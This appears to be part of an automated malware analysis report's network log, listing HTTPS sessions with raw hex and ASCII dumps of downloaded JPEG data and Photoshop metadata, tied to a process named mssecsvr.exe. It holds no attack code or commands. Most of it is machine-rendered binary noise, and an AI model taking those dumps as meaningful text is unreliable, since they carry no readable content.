2022-07-20 17:31:06 UTC	2341	IN	Data Raw: 28 c2 70 0e 00 04 92 4a 93 ce 09 ae 85 46 9d 38 a6 91 a4 54 2c b9 7d d2 ac f0 25 be 9e f3 c5 13 49 79 16 ed a7 3c 29 18 c1 19 ec 5b a1 a9 34 bd 27 54 7b eb 9d 72 3d 30 49 3d c1 69 85 bb 49 b3 74 85 81 3b b9 ce 00 27 9c f3 8a d6 f1 6e 8c 97 5a e4 92 22 5c db e8 f7 8c 16 de ea 41 85 95 55 b2 aa 40 fb ac 79 cf 6f 61 5a 96 d7 e7 55 f0 ac 49 2d b4 76 e9 23 98 4c 7e 69 0c b2 65 8e f3 dc 80 71 c6 7a 62 b4 e5 bf bc d1 4e 11 e6 47 9e f8 d6 ca 35 d6 d0 d8 18 ad c2 c5 0c ef 0c 52 12 62 24 05 24 e7 39 cb 67 91 d4 54 3a 5e a1 73 37 89 ae 56 df cb 78 cc 26 16 dc a4 02 5b e5 24 02 4f 21 41 3f f0 1f 71 5b be 2a b9 b5 d4 35 8b cb 9b 8b 23 25 fb 3c 69 24 7c 2b c1 08 50 14 32 80 33 c8 38 39 fc 28 f8 93 e0 df 13 7c 30 f0 dd d7 88 45 b5 b5 cd d1 78 dd 6d ed a6 52 6d 83 b6 08 Data Ascii: (pJF8T,}%Iy<)[4'T{r=0I=iIt;'nZ"\AU@yoaZUI-v#L~ieqzbNG5Rb$$9gT:^s7Vx&[$O!A?q[*5#%<i$\|+P2389(\|0ExmRm
2022-07-20 17:31:06 UTC	2373	IN	Data Raw: 75 f9 9f 35 fc 5c f0 9d c6 a7 e0 fd 3b 51 d2 92 5b d5 b6 2b 71 19 b6 88 90 f1 a3 0e 47 d7 8c f5 e1 bd ab c9 34 ed 4a 38 26 b4 ba 4b 95 bb 6b 69 0a 25 b4 c0 29 12 2a 86 6d c7 1d 31 d0 71 cf 7a fb 2f f6 6f 92 ef c4 56 b7 5f 0c 7c 43 3d 81 d4 f4 78 92 7b 5b a8 c9 59 27 b7 75 05 a3 51 d0 ed 0c 06 79 ea 4f 6a e5 3f 6c 8f d9 86 3f 0f f8 6e c3 c4 9e 18 d3 ff 00 d2 e1 8f c8 d5 62 b5 88 96 b8 50 a0 2b e4 60 0c 63 9e 33 8a e8 8d 39 38 3e c8 f2 f1 98 77 52 1f 59 a4 ef 25 d0 e1 34 ef 0b 4d e2 0f 07 c9 ac 45 e5 49 6a 1c 86 50 46 f0 ed bb 76 e0 39 00 32 ed f4 19 06 bc 9b 5e f0 dd c4 32 0b 88 d0 41 77 04 ac f0 44 17 e5 ca 8c 94 fa fc ac 0d 74 bf 00 fe 21 41 e1 fd 6e ce c6 fe e0 5f e8 57 53 2a cc 4c 81 47 96 c0 ab 2b 67 b1 18 cf 7f 94 72 39 cf d1 ba bf c1 d8 57 5d 6b c9 Data Ascii: u5\;Q[+qG4J8&Kki%)m1qz/oV_\|C=x{[Y'uQyOj?l?nbP+`c398>wRY%4MEIjPFv92^2AwDt!An_WSLG+gr9W]k
2022-07-20 17:31:06 UTC	2380	IN	Data Raw: 78 93 29 58 fc 3b ad 49 7e f2 9f e2 2a f4 96 26 97 2b f8 96 df e4 54 c2 b6 50 3e 17 f2 cf d3 da a2 fb 40 8e 6f 99 44 85 78 50 7b 7f f5 ea 6b 88 c7 9b 81 c1 c9 e9 d8 fb 7b 53 5a 25 85 72 c7 e7 3c 93 ef 5f 88 35 67 ef 6e 7c df c2 ec f4 62 46 84 a9 2e 78 3d 73 53 c9 24 6c b1 f9 68 37 46 30 bb ba fb d5 1f 35 d9 ba 7c b9 a9 59 d2 2d 9b 79 39 3d 6b 36 98 ee d0 2b 79 6c 7f 7a 50 e4 9f 71 53 43 36 ff 00 fa 69 f3 13 f5 cd 55 92 1f 29 8b b1 3b 09 ea 79 a7 29 30 2e f4 fb bb 88 04 f7 aa 71 ba 36 52 4c ba c1 3d 71 82 49 00 f3 50 cf 6b 24 89 2b 45 8d e4 06 c1 61 d0 fe 15 66 35 7d 9b 8c 91 96 7c 13 c7 23 e9 55 e6 b9 78 e4 70 14 3b 33 63 77 b5 67 1b a6 54 5f 2e c6 43 b4 90 5b c8 06 e4 72 c0 b7 d7 d2 b5 6c 75 73 22 95 24 23 a8 c1 e0 7e 99 a7 4f 1a 4f 6e e0 e3 79 e5 f8 ee Data Ascii: x)X;I~*&+TP>@oDxP{k{SZ%r<_5gn\|bF.x=sS$lh7F05\|Y-y9=k6+ylzPqSC6iU);y)0.q6RL=qIPk$+Eaf5}\|#Uxp;3cwgT_.C[rlus"$#~OOny
2022-07-20 17:31:06 UTC	2404	IN	Data Raw: e0 03 77 6a b7 ad 68 77 5a 1d 9c 85 64 8e e7 47 04 37 95 24 98 74 27 ae de e4 0e d5 fa 26 4d c4 b2 a1 25 87 c5 7b cb bf 63 a6 34 65 c9 cf 2d 8e 64 0f 98 b8 20 13 da 9e b2 6c 4e 7f 5e 6a 67 8e 2b 85 f3 60 71 3c 47 ee 9c 61 87 b1 ff 00 f5 55 71 09 89 89 4e fc f2 73 5f a8 53 ab 0a cb 9a 9b ba 31 b7 61 ca 7c cc 13 f3 0c 74 ab 11 31 46 04 1e 9d 8f 4a 84 02 39 ef 4b f7 32 73 93 c7 1f 5a d1 da 4a e9 95 19 74 2f ec 0c 86 41 b4 31 e4 a1 fe 95 65 5a 2b e8 0c 37 23 cc df c7 cd 8e 2b 23 ce 64 7d fd 7b 60 76 a9 96 e0 49 c9 24 1f 4a f2 31 d9 6d 0c 7d 3f 67 5a 37 f3 ea bd 0d 5c 61 51 7e f2 37 22 d6 3c 2b 71 a6 b2 3d 9c 6d 3c 52 00 15 81 07 70 1d 41 1d 4e 2b 04 cb 1c 73 6e 90 34 66 36 22 4e 31 91 9e 08 06 ba bb 4d 52 7b 3b eb 79 51 c8 10 92 53 b8 e7 a8 c5 6f ea 5a ed 97 Data Ascii: wjhwZdG7$t'&M%{c4e-d lN^jg+`q<GaUqNs_S1a\|t1FJ9K2sZJt/A1eZ+7#+#d}{`vI$J1m}?gZ7\aQ~7"<+q=m<RpAN+sn4f6"N1MR{;yQSoZ
2022-07-20 17:31:06 UTC	2436	IN	Data Raw: bb 17 99 18 e1 87 50 01 38 3c f2 6b c0 fc 2d 35 d2 e9 6e fa 9c ed e7 9b 73 2c a2 5f 98 f9 67 0a ab ed f2 f5 f7 26 bc 2a d4 d4 6a a8 27 66 81 c9 29 a8 a3 d1 7e 0d 7c 3f d7 3e 31 6a 89 e1 cb 7b 69 9e c2 dd 56 ed b5 2f 2d 8c 76 3b 4a 82 19 b0 09 0e b9 c2 86 e7 ae 2b ef ef 0d e8 76 7a 7f c3 fd 42 5b 06 8e e3 48 b6 8a 71 6f 6f 29 67 e2 30 02 ee 62 49 3b 55 31 8e 0d 7e 7b 78 37 e2 b7 8f 3e 0b cd 3c 1e 04 b9 86 de 1d 48 f9 b3 45 34 0b 24 2c f9 da b2 72 38 60 a0 0f 4f 6a f5 bf 80 5f b4 46 b3 62 92 f8 7b 5a b8 58 ff 00 b4 ef 0c 97 33 29 56 8a 23 28 cb 10 bd 55 5c f3 d7 1c f4 1c 57 55 54 a2 b9 9c 4f 7b 07 56 34 ed 4a 3a 36 27 c4 9f 8a c7 e2 43 e9 da 65 fc 56 ef e1 fd 3e 58 35 13 6f 1b 08 3f b4 ae 02 86 f9 49 04 10 8a 4a ed c7 27 3c f4 c6 d7 ec 43 e2 b6 d3 34 dd 6b Data Ascii: P8<k-5ns,_g&*j'f)~\|?>1j{iV/-v;J+vzB[Hqoo)g0bI;U1~{x7><HE4$,r8`Oj_Fb{ZX3)V#(U\WUTO{V4J:6'CeV>X5o?IJ'<C4k
2022-07-20 17:31:06 UTC	2460	IN	Data Raw: eb 9e b5 32 1c e1 d7 b6 6a bc b1 2f 24 03 9c fd 29 23 91 a2 c0 61 85 fc f8 a8 6a e5 c1 5c d5 b2 bd fe 07 fc 09 ab e3 12 e5 ba e3 8a c6 90 28 61 24 4c 02 e3 39 f7 a9 ed ae 8b e0 93 cf 7a cd c1 74 3d 1a 75 9c 17 2c 8b d2 5a ac b1 82 50 7a e0 f7 a8 92 30 ad 9c 6c f6 15 72 32 24 52 03 e5 8f dc fc 3a d4 33 05 6c 95 ce 3b 9e f5 cb cc ef 63 d1 71 4e 37 8a 1a d2 15 eb b8 8e c6 b3 b5 3d 3e 2d 52 d9 e3 9f 28 f8 3b 24 1c 14 38 c6 46 3b 81 5a b1 ed 28 39 e9 eb 48 ea 59 8b 0c 0c 9e d4 e5 18 ce 1c 93 57 47 3c a9 73 2d 77 36 fe 09 5c 4b 79 e2 ab ff 00 0d eb 65 8f f6 95 8c 91 58 5d 79 2a e1 19 57 72 88 f2 78 63 93 9f 4c 9a d4 be 98 e9 5a 2c 91 5c 45 f6 4b b8 0e 27 b5 2c 4b f0 40 d8 7a fc dc 57 14 d6 cc b8 78 9d ad dc 12 51 a3 38 65 6e 9b d4 8e 47 e1 fa d6 e5 df 88 9b c6 Data Ascii: 2j/$)#aj\(a$L9zt=u,ZPz0lr2$R:3l;cqN7=>-R(;$8F;Z(9HYWG<s-w6\KyeX]y*WrxcLZ,\EK',K@zWxQ8enG
2022-07-20 17:31:06 UTC	2523	IN	Data Raw: 04 0e 05 7a 4e b9 7d a4 5b b4 36 f3 4a b6 52 e1 5a 1b 89 13 e5 39 e8 37 7b fb d7 84 7c 66 f8 fb e2 0d 43 c4 49 e0 ff 00 86 16 90 6a 3a 9c a5 a2 ba bf ba b4 67 86 d7 00 11 83 d1 b3 8e e0 d7 ad 5b 0d 4f 0d 1d 25 a9 ec aa 8a 2f 99 21 be 3c f8 ad e0 cf 00 f8 5c 6a d0 de 45 e7 db b8 54 8a 29 95 ee 99 8a a9 c3 02 49 c8 61 d8 81 9c f0 6b cb b5 0d 67 e2 97 ed 41 0e 9f a7 ea 71 b7 84 3c 09 81 2c d7 24 62 e2 f7 d1 30 38 5c 8e bc 57 71 f0 8f f6 58 d3 f4 d6 ba d7 fc 65 67 16 af ae 4e 5a 6f de c4 bb 55 8f 24 28 00 0c 03 c0 e3 a5 77 de 2c f1 24 fa 7c 71 d9 68 e1 a2 96 68 0c 31 85 8d 40 46 c6 18 74 23 af 70 2b cc 9f b5 94 79 b9 ad 1e c7 45 2a 13 c4 7e f6 6b 45 d1 1c 5f 8a fc 15 36 8d e1 1b 5f 03 f8 15 ed 34 4d 2d 6d 48 bc ba f2 f7 46 01 52 a5 7f df 23 03 71 c8 cf 6a ec Data Ascii: zN}[6JRZ97{\|fCIj:g[O%/!<\jET)IakgAq<,$b08\WqXegNZoU$(w,$\|qhh1@Ft#p+yE*~kE_6_4M-mHFR#qj
2022-07-20 17:31:06 UTC	2539	IN	Data Raw: 68 b2 6a f1 99 12 cf 31 15 39 62 c0 30 c7 5c d7 75 2e 22 cc 29 7c 35 19 cd f5 59 dd ab 9e 64 bb 0a a7 ce 1c e3 27 23 6e 3d b0 79 cd 40 ec 9b f0 72 1b af 23 8c 57 a1 7f c2 2f a7 de de 5e a3 45 f2 28 24 cc 7f 87 3d 31 8a c1 d5 3c 2d 2e 9a a2 27 b9 fb 43 36 d6 56 c0 db b4 fd d1 eb 9c 7b d7 d3 61 38 b6 ac 7f de a3 cc bc b4 ff 00 80 4b a7 52 31 e6 e8 72 d2 2a 87 e3 e7 07 9c 8a 42 98 50 06 de 6b 72 fb c2 b7 9a 7a bc af 11 d8 a0 64 46 46 46 7d ab 26 5b 29 d6 40 98 fe 1c 80 46 09 af b6 c2 67 b8 1c 5f c3 3e 5f 5d 0c 35 20 dd d5 49 e7 fc 29 4b 92 c4 10 dd 7b 52 34 4c 13 2f 19 4c f4 66 18 1f 9d 31 72 bd 0e f1 8c 82 39 15 ed 29 a6 b9 a2 ee 86 90 e6 f3 17 90 e7 f1 a1 9e 5f bd bc 0e 31 c5 34 33 1e 4d 2e 32 bc d5 73 22 93 13 cf 7d a9 cf 4f d6 a6 b7 39 5d bb b0 7a f2 7a Data Ascii: hj19b0\u.")\|5Yd'#n=y@r#W/^E($=1<-.'C6V{a8KR1r*BPkrzdFFF}&[)@Fg_>_]5 I)K{R4L/Lf1r9)_143M.2s"}O9]zz
2022-07-20 17:31:06 UTC	2547	IN	Data Raw: c0 8f 71 57 f4 bd 3d e1 84 23 cb 1c b6 f6 a1 a2 96 58 94 00 ce 78 62 70 06 09 3d 6a 6d 56 3f b1 58 a4 ab e5 05 05 61 41 91 c9 3d 33 df 00 53 b3 5a b3 f5 3c 26 16 38 6c 32 a6 dd fb dc f9 eb 52 ba b8 f0 cd fc da 54 97 12 4b f6 3b a5 fb 30 38 dc f1 b1 da a8 a4 01 f3 65 7f 2f ce ba c4 f8 87 07 86 ac 22 b7 8a d1 a5 8f c9 69 67 90 31 24 be ec 15 04 63 24 0f e1 ac df 8c 9a 8d 95 be b1 a7 8b 4b 8b 69 35 35 9a 37 20 83 b9 1d 79 42 00 1f 37 15 8d ad ea ba 15 cf 87 c4 d3 c7 25 95 f8 2c d2 90 0a e1 98 fc df 29 ce 79 e8 6b 7a 55 5d 27 a1 f3 13 6a 15 6a 42 33 db ee 39 3f 16 fc 3c ff 00 85 83 79 71 ae eb 1a cb 68 7e 1e 82 04 96 18 ae d4 99 50 10 c5 95 54 f0 84 92 31 c1 ea 6b c2 7c 5f 77 03 6b 17 09 6e 8b 65 1c 43 cb f2 d5 70 92 28 e0 32 8e 71 91 c9 ae cb e3 0f c4 c9 bc Data Ascii: qW=#Xxbp=jmV?XaA=3SZ<&8l2RTK;08e/"ig1$c$Ki557 yB7%,)ykzU]'jjB39?<yqh~PT1k\|_wkneCp(2q
2022-07-20 17:31:06 UTC	2563	IN	Data Raw: 3d 70 41 00 1e bd eb d1 74 5f 15 c3 ac 3c 70 5f af 95 79 b7 fd 66 70 0b 7b e7 be 7a d7 dc e5 99 d3 94 96 1b 15 d7 ed 1e f6 5b 9d fb 49 7b 0c 52 b4 bb ff 00 31 d1 5a 49 b5 b1 fc 27 ae 6a e6 01 e4 74 1d 07 6a cb 89 da 27 f2 e4 f9 1c f3 c8 ed 57 a1 b8 5d bb 4f 0d 9e f5 f5 32 8f 2f 5d 3b 9f 6f 4e 49 bb 4b 4b 7f 48 9b cd da a4 6d eb fe 78 a5 f2 41 c3 a9 1b ba 60 f7 a5 c1 eb 9e 3d a9 36 83 c9 ea 0f 5a c8 e9 e5 21 9a 1d ed 93 c3 29 fb c6 ab 30 62 c4 e6 b4 57 9e b8 23 19 e7 d6 94 88 5d 42 b0 c7 1d aa cc a5 0b 6c 64 c9 6a 25 47 82 54 12 47 20 f9 d4 f2 ac 3b 64 7f 85 72 5e 24 f0 0c ed 61 e7 69 21 6e 27 89 cf 97 6d 27 0d 14 67 92 ab ea 33 c8 ef 9a f4 41 04 41 3f 77 26 72 7f 88 63 07 d3 3e 94 d6 82 54 52 40 e8 41 00 10 46 47 a1 eb cf d6 b9 31 58 5a 58 b5 ef ab 33 87 Data Ascii: =pAt_<p_yfp{z[I{R1ZI'jtj'W]O2/];oNIKKHmxA`=6Z!)0bW#]Bldj%GTG ;dr^$ai!n'm'g3AA?w&rc>TR@AFG1XZX3
2022-07-20 17:31:06 UTC	2579	IN	Data Raw: 26 d1 02 8c 63 81 e5 e7 1c 64 11 e9 8c db e5 1e 1f eb 58 aa 1c d3 a9 cb 49 f4 f2 f3 7d 11 c8 f8 77 47 f0 c7 c2 4f 08 dc eb b1 96 5f 0c e9 13 c2 f7 09 1b 66 5b c2 41 19 52 47 cd 96 24 1c 7d dc 9e fc d7 8f f8 ca c7 c6 9f 16 b4 7b 6f 13 cb a3 59 e8 7e 18 d3 ad 27 b9 d2 6c 51 80 76 85 58 33 b2 e3 2d 21 c9 5c b9 e0 0c 8c 67 9a ec b5 61 ff 00 0d 1d e2 8d 2f 42 d1 2e 3e c5 e0 6f 0e 5b 31 6b a9 62 63 6d 73 74 3f 79 96 00 82 14 9c e3 27 24 0e a4 9c d7 b2 fc 6c f1 f5 bf c3 7f 0f d8 59 5b 69 fa 56 a7 ae eb 76 13 e9 5a 5d 86 99 01 57 8b cc 45 52 eb f3 10 aa 72 bd b0 4f 27 38 35 3b ad 37 38 ea d0 a5 88 c3 cb 99 da 8c 76 5f cd 2f 2f 23 cc 3f 65 2f 16 f8 33 4d f0 7d f9 d4 f5 0d 37 48 d7 91 85 8e ed 4a 62 90 cf 0b 65 b6 e0 9c b1 24 93 9c 82 0e 39 af 72 d3 3c 3f a1 78 85 Data Ascii: &cdXI}wGO_f[ARG$}{oY~'lQvX3-!\ga/B.>o[1kbcmst?y'$lY[iVvZ]WERrO'85;78v_//#?e/3M}7HJbe$9r<?x
2022-07-20 17:31:06 UTC	2587	IN	Data Raw: ff 00 52 90 f3 34 8c 19 55 30 49 cb 33 16 24 fa 10 33 d2 ae f8 76 ca 7b 8d 57 59 d2 2e e3 b8 3a 85 ab 2d ec 1a 94 92 ed 85 25 0f 95 76 7e 4a ee 04 a8 f5 07 b5 14 54 d3 93 93 bb 38 2a 45 46 5a 11 fc 64 f8 3f 71 27 c6 08 fe 20 6b 9a 93 69 be 14 d1 74 d8 23 ba 9a 59 8a b5 cc 9b 59 4c 70 91 c1 ce ee 4e 33 90 3d c5 78 1e 8d f1 1f c4 9e 3a f1 25 cd 8d a7 da ac 2d 60 96 5b 98 61 92 66 08 96 a9 f7 17 73 63 76 7b 90 79 f6 a2 8a e4 ac b9 67 a1 d5 34 a2 d5 8f 46 b9 f0 fe 89 aa 78 e7 48 f1 5f 88 ee 66 bb f0 9d 84 70 a8 b3 60 41 32 15 63 b9 17 71 de 03 10 41 ef 57 34 ad 43 c3 9e 11 f1 86 8d ad c7 a7 43 1e 93 2b dc 34 37 8a ca 2f 04 7e 69 52 ea b9 ca f5 45 0a 41 24 27 5e f4 51 5d 54 e9 c1 3e 6b 6a 71 54 a8 db b1 5f c5 5f 13 af b5 6b 8b db ad 05 e5 b4 4b cb a9 23 b7 b6 Data Ascii: R4U0I3$3v{WY.:-%v~JT8*EFZd?q' kit#YYLpN3=x:%-`[afscv{yg4FxH_fp`A2cqAW4CC+47/~iREA$'^Q]T>kjqT__kK#

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	50591	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:06 UTC	601	OUT	GET /cms/api/am/imageFileData/RE4Pwej?ver=cbf0 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:31:06 UTC	959	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Pwej?ver=cbf0 Last-Modified: Mon, 18 Jul 2022 03:16:18 GMT X-Source-Length: 1708865 X-Datacenter: northeu X-ActivityId: 3b303f55-c44f-445a-80b2-3902917371c3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1708865 Cache-Control: public, max-age=207956 Expires: Sat, 23 Jul 2022 03:17:02 GMT Date: Wed, 20 Jul 2022 17:31:06 GMT Connection: close
2022-07-20 17:31:06 UTC	960	IN	Data Raw: ff d8 ff e1 1f f7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 32 3a 31 30 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:22:108"
2022-07-20 17:31:06 UTC	1031	IN	Data Raw: 71 b5 db ab 76 55 ac 15 3b 75 d4 31 8d f4 b6 7a fe 97 fa 4f e7 16 8c 74 fc bb db d4 a9 dd 91 6d b5 d5 b9 d6 18 21 84 b7 11 b7 7d 9f 4b 1b 93 63 36 55 53 7f d1 ff 00 39 5d d5 6f f5 2d 08 09 54 81 04 2c f7 3c 5b cc c6 aa da 8b 73 ac 7e 1e 53 5a e7 32 99 02 b0 63 77 eb 14 d2 e7 be f6 7e 8f fc 37 fc 6f fc 65 9b a9 a1 ad a8 e1 e2 b9 8e bc bd d7 7a ce b3 d2 69 a9 a3 73 5c f2 d7 7a 54 bb 73 bd 5f 42 df e7 36 7a 3e a5 6b 22 de b1 91 43 03 ab 7b 05 2f 63 db 65 56 59 68 61 2e 14 fd 99 d7 5d f4 ad b7 d2 df fa 0a ff 00 9f f5 7d 3f df 54 6f fa c1 94 fb 7d 5a de ec 50 18 f6 b6 a0 e0 e8 0f 24 6f 7d 4d 6b 6a d9 5b 5e cf a7 fe 0b f4 75 fe 9b f4 a9 d2 d0 d5 d5 24 48 00 09 a1 7d ce ae d6 4e 5d 18 ce a7 a8 db 61 a2 dc 06 3d b0 e6 87 1b 18 4c b6 cc 9a ac 14 7e 86 a7 ff 00 32 Data Ascii: qvU;u1zOtm!}Kc6US9]o-T,<[s~SZ2cw~7oezis\zTs_B6z>k"C{/ceVYha.]}?To}ZP$o}Mkj[^u$H}N]a=L~2
2022-07-20 17:31:06 UTC	1063	IN	Data Raw: 31 35 54 30 39 3a 35 34 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 35 54 31 30 3a 30 34 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 Data Ascii: 15T09:54:15-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2016-07-15T10:04:07-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb s
2022-07-20 17:31:06 UTC	1133	IN	Data Raw: 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 38 38 30 31 37 38 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 38 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 38 38 30 31 38 37 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 38 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a Data Ascii: ows10\Edge\_Crops\Edge-Lifestyle_GettyImages-538801788_1920x1080.jpg saved 2016-07-26T10:48:15-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-538801872_1920x1080.jpg saved 2016-07-26T10:48:36-07:00 File C:
2022-07-20 17:31:06 UTC	1617	IN	Data Raw: 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 55 52 31 35 5f 50 65 6e 5f 30 31 5f 53 4c 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 34 32 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 36 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 Data Ascii: rface\Juan\SurfacePen\Crops\SUR15_Pen_01_SL_1920x1080.jpg saved 2016-08-31T13:42:25-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-09-12T10:26:11-07:00 File Lockscreen_1920x1080_Landscape.psd opened
2022-07-20 17:31:06 UTC	1649	IN	Data Raw: 61 74 69 6f 6e 2d 46 49 4e 41 4c 2d 4e 4f 48 45 41 44 4c 49 4e 45 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 34 54 31 34 3a 34 35 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 30 38 3a 33 33 3a 34 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5c 4d 49 54 2d 48 6f 6c 69 64 61 79 Data Ascii: ation-FINAL-NOHEADLINE.jpg saved 2016-10-14T14:45:45-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-10-17T08:33:40-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\HolidayShopping\MIT-Holiday
2022-07-20 17:31:06 UTC	1712	IN	Data Raw: 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 30 54 31 35 3a 32 33 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 Data Ascii: h\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-11-20T15:23:29-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016
